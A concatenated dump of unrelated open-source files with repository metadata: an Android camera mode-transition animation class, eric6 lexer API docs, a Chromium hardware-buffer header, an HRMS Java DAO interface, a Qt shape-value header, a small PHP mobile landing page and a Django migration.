mWidth / 2 + mIconSize / 2, mHeight / 2 + mIconSize / 2);
mIconDrawable.setBounds(mIconRect);
}
/**
* This is an overloaded function. When no position is provided for the animation,
* the peep hole will start at the default position (i.e. center of the view).
*/
public void startPeepHoleAnimation() {
float x = mWidth / 2;
float y = mHeight / 2;
startPeepHoleAnimation(x, y);
}
/**
* Starts the peep hole animation where the circle is centered at position (x, y).
*/
private void startPeepHoleAnimation(float x, float y) {
if (mPeepHoleAnimator != null && mPeepHoleAnimator.isRunning()) {
return;
}
mAnimationType = PEEP_HOLE_ANIMATION;
mPeepHoleCenterX = (int) x;
mPeepHoleCenterY = (int) y;
int horizontalDistanceToFarEdge = Math.max(mPeepHoleCenterX, mWidth - mPeepHoleCenterX);
int verticalDistanceToFarEdge = Math.max(mPeepHoleCenterY, mHeight - mPeepHoleCenterY);
int endRadius = (int) (Math.sqrt(horizontalDistanceToFarEdge * horizontalDistanceToFarEdge
+ verticalDistanceToFarEdge * verticalDistanceToFarEdge));
final ValueAnimator radiusAnimator = ValueAnimator.ofFloat(0, endRadius);
radiusAnimator.setDuration(PEEP_HOLE_ANIMATION_DURATION_MS);
final ValueAnimator iconScaleAnimator = ValueAnimator.ofFloat(1f, 0.5f);
iconScaleAnimator.setDuration(ICON_FADE_OUT_DURATION_MS);
final ValueAnimator iconAlphaAnimator = ValueAnimator.ofInt(ALPHA_HALF_TRANSPARENT,
ALPHA_FULLY_TRANSPARENT);
iconAlphaAnimator.setDuration(ICON_FADE_OUT_DURATION_MS);
mPeepHoleAnimator = new AnimatorSet();
mPeepHoleAnimator.playTogether(radiusAnimator, iconAlphaAnimator, iconScaleAnimator);
mPeepHoleAnimator.setInterpolator(Gusterpolator.INSTANCE);
iconAlphaAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
// Modify mask by enlarging the hole
mRadius = (Float) radiusAnimator.getAnimatedValue();
mIconDrawable.setAlpha((Integer) iconAlphaAnimator.getAnimatedValue());
float scale = (Float) iconScaleAnimator.getAnimatedValue();
int size = (int) (scale * (float) mIconSize);
mIconDrawable.setBounds(mPeepHoleCenterX - size / 2,
mPeepHoleCenterY - size / 2,
mPeepHoleCenterX + size / 2,
mPeepHoleCenterY + size / 2);
invalidate();
}
});
mPeepHoleAnimator.addListener(new Animator.AnimatorListener() {
@Override
public void onAnimationStart(Animator animation) {
// Sets a HW layer on the view for the animation.
setLayerType(LAYER_TYPE_HARDWARE, null);
}
@Override
public void onAnimationEnd(Animator animation) {
// Sets the layer type back to NONE as a workaround for b/12594617.
setLayerType(LAYER_TYPE_NONE, null);
mPeepHoleAnimator = null;
mRadius = 0;
mIconDrawable.setAlpha(ALPHA_FULLY_OPAQUE);
mIconDrawable.setBounds(mIconRect);
setVisibility(GONE);
mAnimationType = IDLE;
if (mAnimationFinishedListener != null) {
mAnimationFinishedListener.onAnimationFinished(true);
mAnimationFinishedListener = null;
}
}
@Override
public void onAnimationCancel(Animator animation) {
}
@Override
public void onAnimationRepeat(Animator animation) {
}
});
mPeepHoleAnimator.start();
}
@Override
public boolean onTouchEvent(MotionEvent ev) {
boolean touchHandled = mGestureDetector.onTouchEvent(ev);
if (ev.getActionMasked() == MotionEvent.ACTION_UP) {
// TODO: Take into account fling
snap();
}
return touchHandled;
}
/**
* Snaps the shade to position at the end of a gesture.
*/
private void snap() {
if (mScrollTrend >= 0 && mAnimationType == PULL_UP_SHADE) {
// Snap to full screen.
snapShadeTo(mHeight, ALPHA_FULLY_OPAQUE);
} else if (mScrollTrend <= 0 && mAnimationType == PULL_DOWN_SHADE) {
// Snap to full screen.
snapShadeTo(-mHeight, ALPHA_FULLY_OPAQUE);
} else if (mScrollTrend < 0 && mAnimationType == PULL_UP_SHADE) {
// Snap back.
snapShadeTo(0, ALPHA_FULLY_TRANSPARENT, false);
} else if (mScrollTrend > 0 && mAnimationType == PULL_DOWN_SHADE) {
// Snap back.
snapShadeTo(0, ALPHA_FULLY_TRANSPARENT, false);
}
}
private void snapShadeTo(int scrollDistance, int alpha) {
snapShadeTo(scrollDistance, alpha, true);
}
/**
* Snaps the shade to a given scroll distance and sets the icon alpha. If the shade
* is to snap back out, then hide the view after the animation.
*
* @param scrollDistance scaled user scroll distance
* @param alpha ending alpha of the icon drawable
* @param snapToFullScreen whether this snap animation snaps the shade to full screen
*/
private void snapShadeTo(final int scrollDistance, final int alpha,
final boolean snapToFullScreen) {
if (mAnimationType == PULL_UP_SHADE || mAnimationType == PULL_DOWN_SHADE) {
ObjectAnimator scrollAnimator = ObjectAnimator.ofFloat(this, "scrollDistance",
scrollDistance);
scrollAnimator.addListener(new Animator.AnimatorListener() {
@Override
public void onAnimationStart(Animator animation) {
}
@Override
public void onAnimationEnd(Animator animation) {
setScrollDistance(scrollDistance);
mIconDrawable.setAlpha(alpha);
mAnimationType = IDLE;
if (!snapToFullScreen) {
setVisibility(GONE);
}
if (mAnimationFinishedListener != null) {
mAnimationFinishedListener.onAnimationFinished(snapToFullScreen);
mAnimationFinishedListener = null;
}
}
@Override
public void onAnimationCancel(Animator animation) {
}
@Override
public void onAnimationRepeat(Animator animation) {
}
});
scrollAnimator.setInterpolator(Gusterpolator.INSTANCE);
scrollAnimator.start();
}
}
/**
* Set the states for the animation that pulls up a shade with given shade color.
*
* @param shadeColorId color id of the shade that will be pulled up
* @param iconId id of the icon that will appear on top the shade
* @param listener a listener that will get notified when the animation
* is finished. Could be <code>null</code>.
*/
public void prepareToPullUpShade(int shadeColorId, int iconId,
CameraAppUI.AnimationFinishedListener listener) {
prepareShadeAnimation(PULL_UP_SHADE, shadeColorId, iconId, listener);
}
/**
* Set the states for the animation that pulls down a shade with given shade color.
*
* @param shadeColorId color id of the shade that will be pulled down
* @param modeIconResourceId id of the icon that will appear on top the shade
* @param listener a listener that will get notified when the animation
* is finished. Could be <code>null</code>.
*/
public void prepareToPullDownShade(int shadeColorId, int modeIconResourceId,
CameraAppUI.AnimationFinishedListener listener) {;
prepareShadeAnimation(PULL_DOWN_SHADE, shadeColorId, modeIconResourceId, listener);
}
/**
* Set the states for the animation that involves a shade.
*
* @param animationType type of animation that will happen to the shade
* @param shadeColorId color id of the shade that will be animated
* @param iconResId id of the icon that will appear on top the shade
* @param listener a listener that will get notified when the animation
* is finished. Could be <code>null</code>.
*/
private void prepareShadeAnimation(int animationType, int shadeColorId, int iconResId,
CameraAppUI.AnimationFinishedListener listener) {
mAnimationFinishedListener = listener;
if (mPeepHoleAnimator != null && mPeepHoleAnimator.isRunning()) {
mPeepHoleAnimator.end();
}
mAnimationType = animationType;
resetShade(shadeColorId, iconResId);
}
/**
* Reset the shade with the given shade color and icon drawable.
*
* @param shadeColorId id of the shade color
* @param modeIconResourceId resource id of the icon drawable
*/
private void resetShade(int shadeColorId, int modeIconResourceId) {
// Sets color for the shade.
int shadeColor = getResources().getColor(shadeColorId);
mBackgroundColor = shadeColor;
mShadePaint.setColor(shadeColor);
// Reset scroll distance.
setScrollDistance(0f);
// Sets new drawable.
updateIconDrawableByResourceId(modeIconResourceId);
mIconDrawable.setAlpha(0);
setVisibility(VISIBLE);
}
/**
* By default, all drawables instances loaded from the same resource share a
* common state; if you modify the state of one instance, all the other
* instances will receive the same modification. So here we need to make sure
* we mutate the drawable loaded from resource.
*
* @param modeIconResourceId resource id of the icon drawable
*/
private void updateIconDrawableByResourceId(int modeIconResourceId) {
Drawable iconDrawable = getResources().getDrawable(modeIconResourceId);
if (iconDrawable == null) {
// Resource id not found
Log.e(TAG, "Invalid resource id for icon drawable. Setting icon drawable to null.");
setIconDrawable(null);
return;
}
// Mutate the drawable loaded from resource so modifying its states does
// not affect other drawable instances loaded from the same resource.
setIconDrawable(iconDrawable.mutate());
}
/**
* In order to make sure icon drawable is never set to null. Fall back to an
* empty drawable when icon needs to get reset.
*
* @param iconDrawable new drawable for icon. A value of <code>null</code> sets
* the icon drawable to the default drawable.
*/
private void setIconDrawable(Drawable iconDrawable) {
if (iconDrawable == null) {
mIconDrawable = mDefaultDrawable;
} else {
mIconDrawable = iconDrawable;
}
}
/**
* Initialize the mode cover with a mode theme color and a mode icon.
*
* @param colorId resource id of the mode theme color
* @param modeIconResourceId resource id of the icon drawable
*/
public void setupModeCover(int colorId, int modeIconResourceId) {
mBackgroundBitmap = null;
// Stop ongoing animation.
if (mPeepHoleAnimator != null && mPeepHoleAnimator.isRunning()) {
mPeepHoleAnimator.cancel();
}
mAnimationType = IDLE;
mBackgroundColor = getResources().getColor(colorId);
// Sets new drawable.
updateIconDrawableByResourceId(modeIconResourceId);
mIconDrawable.setAlpha(ALPHA_FULLY_OPAQUE);
setVisibility(VISIBLE);
}
/**
* Hides the cover view and notifies the
* {@link com.android.camera.app.CameraAppUI.AnimationFinishedListener} of whether
* the hide animation is successfully finished.
*
* @param animationFinishedListener a listener that will get notified when the
* animation is finished. Could be <code>null</code>.
*/
public void hideModeCover(
final CameraAppUI.AnimationFinishedListener animationFinishedListener) {
if (mAnimationType != IDLE) {
// Nothing to hide.
if (animationFinishedListener != null) {
// Animation not successful.
animationFinishedListener.onAnimationFinished(false);
}
} else {
// Start fade out animation.
mAnimationType = FADE_OUT;
ObjectAnimator alphaAnimator = ObjectAnimator.ofFloat(this, "alpha", 1f, 0f);
alphaAnimator.setDuration(FADE_OUT_DURATION_MS);
// Linear interpolation.
alphaAnimator.setInterpolator(null);
alphaAnimator.addListener(new Animator.AnimatorListener() {
@Override
public void onAnimationStart(Animator animation) {
}
@Override
public void onAnimationEnd(Animator animation) {
setVisibility(GONE);
setAlpha(1f);
if (animationFinishedListener != null) {
animationFinishedListener.onAnimationFinished(true);
mAnimationType = IDLE;
}
}
@Override
public void onAnimationCancel(Animator animation) {
}
@Override
public void onAnimationRepeat(Animator animation) {
}
});
alphaAnimator.start();
}
}
@Override
public void setAlpha(float alpha) {
super.setAlpha(alpha);
int alphaScaled = (int) (255f * getAlpha());
mBackgroundColor = (mBackgroundColor & 0xFFFFFF) | (alphaScaled << 24);
mIconDrawable.setAlpha(alphaScaled);
}
/**
* Setup the mode cover with a screenshot.
*/
public void setupModeCover(Bitmap screenShot) {
mBackgroundBitmap = screenShot;
setVisibility(VISIBLE);
mAnimationType = SHOW_STATIC_IMAGE;
}
/**
* Hide the mode cover without animation.
*/
// TODO: Refactor this and define how cover should be hidden during cover setup
public void hideImageCover() {
mBackgroundBitmap = null;
setVisibility(GONE);
mAnimationType = IDLE;
}
}
|
s20121035/rk3288_android5.1_repo
|
packages/apps/Camera2/src/com/android/camera/ui/ModeTransitionView.java
|
Java
|
gpl-3.0
| 22,927
|
<!DOCTYPE html>
<html><head>
<title>eric6.QScintilla.Lexers.LexerPascal</title>
<meta charset="UTF-8">
<style>
body {
background: #EDECE6;
margin: 0em 1em 10em 1em;
color: black;
}
h1 { color: white; background: #85774A; }
h2 { color: white; background: #85774A; }
h3 { color: white; background: #9D936E; }
h4 { color: white; background: #9D936E; }
a { color: #BA6D36; }
</style>
</head>
<body><a NAME="top" ID="top"></a>
<h1>eric6.QScintilla.Lexers.LexerPascal</h1>
<p>
Module implementing a Pascal lexer with some additional methods.
</p>
<h3>Global Attributes</h3>
<table>
<tr><td>None</td></tr>
</table>
<h3>Classes</h3>
<table>
<tr>
<td><a href="#LexerPascal">LexerPascal</a></td>
<td>Subclass to implement some additional lexer dependant methods.</td>
</tr>
</table>
<h3>Functions</h3>
<table>
<tr><td>None</td></tr>
</table>
<hr /><hr />
<a NAME="LexerPascal" ID="LexerPascal"></a>
<h2>LexerPascal</h2>
<p>
Subclass to implement some additional lexer dependant methods.
</p>
<h3>Derived from</h3>
Lexer, QsciLexerPascal
<h3>Class Attributes</h3>
<table>
<tr><td>None</td></tr>
</table>
<h3>Class Methods</h3>
<table>
<tr><td>None</td></tr>
</table>
<h3>Methods</h3>
<table>
<tr>
<td><a href="#LexerPascal.__init__">LexerPascal</a></td>
<td>Constructor</td>
</tr><tr>
<td><a href="#LexerPascal.autoCompletionWordSeparators">autoCompletionWordSeparators</a></td>
<td>Public method to return the list of separators for autocompletion.</td>
</tr><tr>
<td><a href="#LexerPascal.defaultKeywords">defaultKeywords</a></td>
<td>Public method to get the default keywords.</td>
</tr><tr>
<td><a href="#LexerPascal.initProperties">initProperties</a></td>
<td>Public slot to initialize the properties.</td>
</tr><tr>
<td><a href="#LexerPascal.isCommentStyle">isCommentStyle</a></td>
<td>Public method to check, if a style is a comment style.</td>
</tr><tr>
<td><a href="#LexerPascal.isStringStyle">isStringStyle</a></td>
<td>Public method to check, if a style is a string style.</td>
</tr>
</table>
<h3>Static Methods</h3>
<table>
<tr><td>None</td></tr>
</table>
<a NAME="LexerPascal.__init__" ID="LexerPascal.__init__"></a>
<h4>LexerPascal (Constructor)</h4>
<b>LexerPascal</b>(<i>parent=None</i>)
<p>
Constructor
</p><dl>
<dt><i>parent</i></dt>
<dd>
parent widget of this lexer
</dd>
</dl><a NAME="LexerPascal.autoCompletionWordSeparators" ID="LexerPascal.autoCompletionWordSeparators"></a>
<h4>LexerPascal.autoCompletionWordSeparators</h4>
<b>autoCompletionWordSeparators</b>(<i></i>)
<p>
Public method to return the list of separators for autocompletion.
</p><dl>
<dt>Returns:</dt>
<dd>
list of separators (list of strings)
</dd>
</dl><a NAME="LexerPascal.defaultKeywords" ID="LexerPascal.defaultKeywords"></a>
<h4>LexerPascal.defaultKeywords</h4>
<b>defaultKeywords</b>(<i>kwSet</i>)
<p>
Public method to get the default keywords.
</p><dl>
<dt><i>kwSet</i></dt>
<dd>
number of the keyword set (integer)
</dd>
</dl><dl>
<dt>Returns:</dt>
<dd>
string giving the keywords (string) or None
</dd>
</dl><a NAME="LexerPascal.initProperties" ID="LexerPascal.initProperties"></a>
<h4>LexerPascal.initProperties</h4>
<b>initProperties</b>(<i></i>)
<p>
Public slot to initialize the properties.
</p><a NAME="LexerPascal.isCommentStyle" ID="LexerPascal.isCommentStyle"></a>
<h4>LexerPascal.isCommentStyle</h4>
<b>isCommentStyle</b>(<i>style</i>)
<p>
Public method to check, if a style is a comment style.
</p><dl>
<dt><i>style</i></dt>
<dd>
style to check (integer)
</dd>
</dl><dl>
<dt>Returns:</dt>
<dd>
flag indicating a comment style (boolean)
</dd>
</dl><a NAME="LexerPascal.isStringStyle" ID="LexerPascal.isStringStyle"></a>
<h4>LexerPascal.isStringStyle</h4>
<b>isStringStyle</b>(<i>style</i>)
<p>
Public method to check, if a style is a string style.
</p><dl>
<dt><i>style</i></dt>
<dd>
style to check (integer)
</dd>
</dl><dl>
<dt>Returns:</dt>
<dd>
flag indicating a string style (boolean)
</dd>
</dl>
<div align="right"><a href="#top">Up</a></div>
<hr />
</body></html>
|
davy39/eric
|
Documentation/Source/eric6.QScintilla.Lexers.LexerPascal.html
|
HTML
|
gpl-3.0
| 4,037
|
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef BASE_ANDROID_ANDROID_HARDWARE_BUFFER_ABI_H_
#define BASE_ANDROID_ANDROID_HARDWARE_BUFFER_ABI_H_
// Minimal binary interface definitions for AHardwareBuffer based on
// include/android/hardware_buffer.h from the Android NDK for platform level
// 26+. This is only intended for use from the AndroidHardwareBufferCompat
// wrapper for building without NDK platform level support, it is not a
// general-use header and is not complete.
//
// TODO(crbug.com/771171): Delete this file when third_party/android_ndk/
// is updated to a version that contains the android/hardware_buffer.h file.
//
// Please refer to the API documentation for details:
// https://developer.android.com/ndk/reference/hardware__buffer_8h.html
#include <stdint.h>
// Use "C" linkage to match the original header file. This isn't strictly
// required since the file is not declaring global functions, but the types
// should remain in the global namespace for compatibility, and it's a reminder
// that forward declarations elsewhere should use "extern "C" to avoid
// namespace issues.
extern "C" {
typedef struct AHardwareBuffer AHardwareBuffer;
typedef struct ARect ARect;
enum {
AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM = 1,
AHARDWAREBUFFER_FORMAT_R8G8B8X8_UNORM = 2,
AHARDWAREBUFFER_FORMAT_R8G8B8_UNORM = 3,
AHARDWAREBUFFER_FORMAT_R5G6B5_UNORM = 4,
AHARDWAREBUFFER_FORMAT_R16G16B16A16_FLOAT = 0x16,
AHARDWAREBUFFER_FORMAT_R10G10B10A2_UNORM = 0x2b,
AHARDWAREBUFFER_FORMAT_BLOB = 0x21,
};
enum {
AHARDWAREBUFFER_USAGE_CPU_READ_NEVER = 0UL,
AHARDWAREBUFFER_USAGE_CPU_READ_RARELY = 2UL,
AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN = 3UL,
AHARDWAREBUFFER_USAGE_CPU_READ_MASK = 0xFUL,
AHARDWAREBUFFER_USAGE_CPU_WRITE_NEVER = 0UL << 4,
AHARDWAREBUFFER_USAGE_CPU_WRITE_RARELY = 2UL << 4,
AHARDWAREBUFFER_USAGE_CPU_WRITE_OFTEN = 3UL << 4,
AHARDWAREBUFFER_USAGE_CPU_WRITE_MASK = 0xFUL << 4,
AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE = 1UL << 8,
AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT = 1UL << 9,
AHARDWAREBUFFER_USAGE_PROTECTED_CONTENT = 1UL << 14,
AHARDWAREBUFFER_USAGE_VIDEO_ENCODE = 1UL << 16,
AHARDWAREBUFFER_USAGE_SENSOR_DIRECT_DATA = 1UL << 23,
AHARDWAREBUFFER_USAGE_GPU_DATA_BUFFER = 1UL << 24,
};
typedef struct AHardwareBuffer_Desc {
uint32_t width;
uint32_t height;
uint32_t layers;
uint32_t format;
uint64_t usage;
uint32_t stride;
uint32_t rfu0;
uint64_t rfu1;
} AHardwareBuffer_Desc;
using PFAHardwareBuffer_allocate = void (*)(const AHardwareBuffer_Desc* desc,
AHardwareBuffer** outBuffer);
using PFAHardwareBuffer_acquire = void (*)(AHardwareBuffer* buffer);
using PFAHardwareBuffer_describe = void (*)(const AHardwareBuffer* buffer,
AHardwareBuffer_Desc* outDesc);
using PFAHardwareBuffer_lock = int (*)(AHardwareBuffer* buffer,
uint64_t usage,
int32_t fence,
const ARect* rect,
void** outVirtualAddress);
using PFAHardwareBuffer_recvHandleFromUnixSocket =
int (*)(int socketFd, AHardwareBuffer** outBuffer);
using PFAHardwareBuffer_release = void (*)(AHardwareBuffer* buffer);
using PFAHardwareBuffer_sendHandleToUnixSocket =
int (*)(const AHardwareBuffer* buffer, int socketFd);
using PFAHardwareBuffer_unlock = int (*)(AHardwareBuffer* buffer,
int32_t* fence);
} // extern "C"
#endif // BASE_ANDROID_ANDROID_HARDWARE_BUFFER_ABI_H_
|
Passw/gn_GFW
|
base/android/android_hardware_buffer_abi.h
|
C
|
gpl-3.0
| 3,740
|
/*
* Copyright (C) 2012 Krawler Information Systems Pvt Ltd
* All rights reserved.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package com.krawler.spring.hrms.employee;
import com.krawler.common.admin.Company;
import com.krawler.common.admin.User;
import com.krawler.common.admin.userSalaryTemplateMap;
import com.krawler.spring.common.KwlReturnObject;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import masterDB.Payhistory;
/**
*
* @author shs
*/
public interface hrmsEmpDAO {
public KwlReturnObject getCurrencyDetails(HashMap<String, Object> requestParams);
public KwlReturnObject getPayHistory(HashMap<String, Object> requestParams);
public List<Payhistory> getPayHistorys(String userids, Date startDate, Date endDate);
public KwlReturnObject setPayHistory(HashMap<String, Object> requestParams);
public KwlReturnObject setHistorydetail(HashMap<String, Object> requestParams);
public KwlReturnObject deleteHistorydetail(HashMap<String, Object> requestParams);
public KwlReturnObject deleteEmpPayHistory(HashMap<String, Object> requestParams);
public KwlReturnObject getHistoryDetail(HashMap<String, Object> requestParams);
public KwlReturnObject salaryGeneratedUpdates(HashMap<String, Object> requestParams);
public Company getCompany(Map<String, Object> requestParams);
public List<Payhistory> getSalariesBetweenStartAndEndDate(Map<String, Object> requestParams);
public List<userSalaryTemplateMap> getUserSalaryTemplateMap(Map<String, Object> requestParams);
public KwlReturnObject generateApprovedSalary(String[] historyIDs, int mode);
public User getPayHistoryEmployeeName(String historyid);
}
|
niuran1993/Deskera-HRMS
|
mavenPayroll/src/main/java/com/krawler/spring/hrms/employee/hrmsEmpDAO.java
|
Java
|
gpl-3.0
| 2,349
|
/****************************************************************************
**
** Copyright (C) 2016 Jochen Becher
** Contact: https://www.qt.io/licensing/
**
** This file is part of Qt Creator.
**
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3 as published by the Free Software
** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT
** included in the packaging of this file. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-3.0.html.
**
****************************************************************************/
#pragma once
#include "qmt/infrastructure/qmt_global.h"
#include <QPointF>
#include <QSizeF>
namespace qmt {
class QMT_EXPORT ShapeValueF
{
public:
enum Origin {
OriginSmart,
OriginTop,
OriginLeft = OriginTop,
OriginTopOrLeft = OriginTop,
OriginBottom,
OriginRight = OriginBottom,
OriginBottomOrRight = OriginBottom,
OriginCenter
};
enum Unit {
UnitAbsolute,
UnitRelative,
UnitScaled,
UnitPercentage
};
ShapeValueF()
: m_value(0.0),
m_unit(UnitRelative),
m_origin(OriginSmart)
{
}
explicit ShapeValueF(qreal value, Unit unit = UnitRelative, Origin origin = OriginSmart)
: m_value(value),
m_unit(unit),
m_origin(origin)
{
}
qreal value() const { return m_value; }
void setValue(qreal value) { m_value = value; }
Unit unit() const { return m_unit; }
void setUnit(Unit unit) { m_unit = unit; }
Origin origin() const { return m_origin; }
void setOrigin(Origin origin) { m_origin = origin; }
qreal mapTo(qreal origin, qreal size) const;
qreal mapScaledTo(qreal scaledOrigin, qreal originalSize, qreal actualSize) const;
qreal mapScaledTo(qreal scaledOrigin, qreal originalSize, qreal baseSize,
qreal actualSize) const;
private:
qreal m_value;
Unit m_unit;
Origin m_origin;
};
class QMT_EXPORT ShapePointF
{
public:
ShapePointF() = default;
ShapePointF(const ShapeValueF &x, const ShapeValueF &y)
: m_x(x),
m_y(y)
{
}
ShapeValueF x() const { return m_x; }
void setX(const ShapeValueF &x) { m_x = x; }
ShapeValueF y() const { return m_y; }
void setY(const ShapeValueF &y) { m_y = y; }
QPointF mapTo(const QPointF &origin, const QSizeF &size) const;
QPointF mapScaledTo(const QPointF &scaledOrigin, const QSizeF &originalSize,
const QSizeF &actualSize) const;
QPointF mapScaledTo(const QPointF &scaledOrigin, const QSizeF &originalSize,
const QSizeF &baseSize, const QSizeF &actualSize) const;
private:
ShapeValueF m_x;
ShapeValueF m_y;
};
class QMT_EXPORT ShapeSizeF
{
public:
ShapeSizeF() = default;
ShapeSizeF(const ShapeValueF &width, const ShapeValueF &height)
: m_width(width),
m_height(height)
{
}
ShapeValueF width() const { return m_width; }
void setWidth(const ShapeValueF &width) { m_width = width; }
ShapeValueF height() const { return m_height; }
void setHeight(const ShapeValueF &height) { m_height = height; }
QSizeF mapTo(const QPointF &origin, const QSizeF &size) const;
QSizeF mapScaledTo(const QPointF &scaledOrigin, const QSizeF &originalSize,
const QSizeF &actualSize) const;
QSizeF mapScaledTo(const QPointF &scaledOrigin, const QSizeF &originalSize,
const QSizeF &baseSize, const QSizeF &actualSize) const;
private:
ShapeValueF m_width;
ShapeValueF m_height;
};
} // namespace qmt
|
pivonroll/Qt_Creator
|
src/libs/modelinglib/qmt/stereotype/shapevalue.h
|
C
|
gpl-3.0
| 4,301
|
<?php include "inc/header.inc.php" ?>
<!DOCTYPE html>
<html>
<head>
<title><?=$Text['global_title']; ?></title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="js/jquery.mobile-1.0.1/jquery.mobile-1.0.1.min.css" />
<script src="js/jquery/jquery-1.7.1.min.js"></script>
<script src="js/jquery.mobile-1.0.1/jquery.mobile-1.0.1.min.js"></script>
<script>
//$( document ).delegate("#buy", "pageinit", function() {
//alert('A page with an ID of "aboutPage" was just created by jQuery Mobile!');
//});
</script>
</head>
<body>
<div data-role="page" id="home" data-title="Aixada Mobile Home">
<div data-role="header">
<h1>Welcome to Aixada Mobile</h1>
</div><!-- /header -->
<div data-role="content">
<p>What do you want to do?</p>
<p><a href="shop_m.php" data-role="button" data-ajax="false">Buy stuff</a></p>
<p><a href="order_m.php" data-role="button" data-ajax="false">Make an order</a></p>
<p><a href="php/ctrl/Login.php?oper=logout" data-role="button" data-ajax="false">Logout</a></p>
</div><!-- /content -->
</div><!-- /page -->
</body>
</html>
|
85mespilus/Aixada
|
mobile/index_m.php
|
PHP
|
gpl-3.0
| 1,196
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('libreosteoweb', '0018_auto_20150420_1232'),
]
operations = [
migrations.AlterField(
model_name='regulardoctor',
name='phone',
field=models.CharField(max_length=100, null=True, verbose_name='Phone', blank=True),
),
]
|
littlejo/Libreosteo
|
libreosteoweb/migrations/0019_auto_20150420_1821.py
|
Python
|
gpl-3.0
| 460
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.